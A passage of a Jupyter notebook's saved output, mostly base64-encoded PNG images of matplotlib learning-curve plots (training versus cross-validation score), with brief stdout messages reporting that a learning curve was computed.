+9H8wGf/gb/Bn0\n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\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f155916e550>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "learning curve in process...\n",
      "Learning curve done!\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAf0AAAFlCAYAAADh+TGmAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xd4VFX+x/H3nZn0QhIglNA0dKSIoiAqygoqSiA2WMsq\nYq8oIgKKqKjouiiyCq6y68qq4Ko0xZ+KgrsIuFhAUBQTEFIglPQ6M/ee3x9TMpNMeiZtvq/nyZPM\nnXZmksznnHNP0ZRSCiGEEEK0eabmLoAQQgghmoaEvhBCCBEgJPSFEEKIACGhL4QQQgQICX0hhBAi\nQEjoCyGEEAFCQj9ApKenc/rppzfLcy9ZsoS1a9c2y3M3pcLCQqZOncpll13Gp59+2qiP7a/f3623\n3kpKSgoAjz/+OGPHjuXFF1/0Ot7SPfroo+zdu7fScaUUL774IhMmTGDChAnMnj2bkpKSZihh7fTr\n14+xY8dScRb1X//6V/r168eePXuqvf+HH37I7bffDsCWLVtYsmQJAF988QULFy70T6E9vPvuu/zt\nb3+r9jbffPMNl19+OQBLly5l1KhRHD9+3Os2l19+Od988w0AY8eO5eKLL2bSpElMnDiRyy67jNWr\nV/vnBQQIS3MXQLR9999/f3MXoUns27ePkydP8vnnnzd3UWrt9ddfd/+8evVqtmzZQufOnZuxRHW3\nbds2pkyZUun4559/ztdff83atWsJCgri/vvv56233nIHY0uklOLbb79lxIgR7ssbN26kXbt2dXqc\nPXv2kJeXB8Af/vAH/vCHPzR6WSv64x//WOf7FBYWMnv2bFasWIGmaT5v88ILLzB48GAAjhw5wsUX\nX8z5559Ply5dGlTeQCWhL7Barbzwwgvs3LkTXdc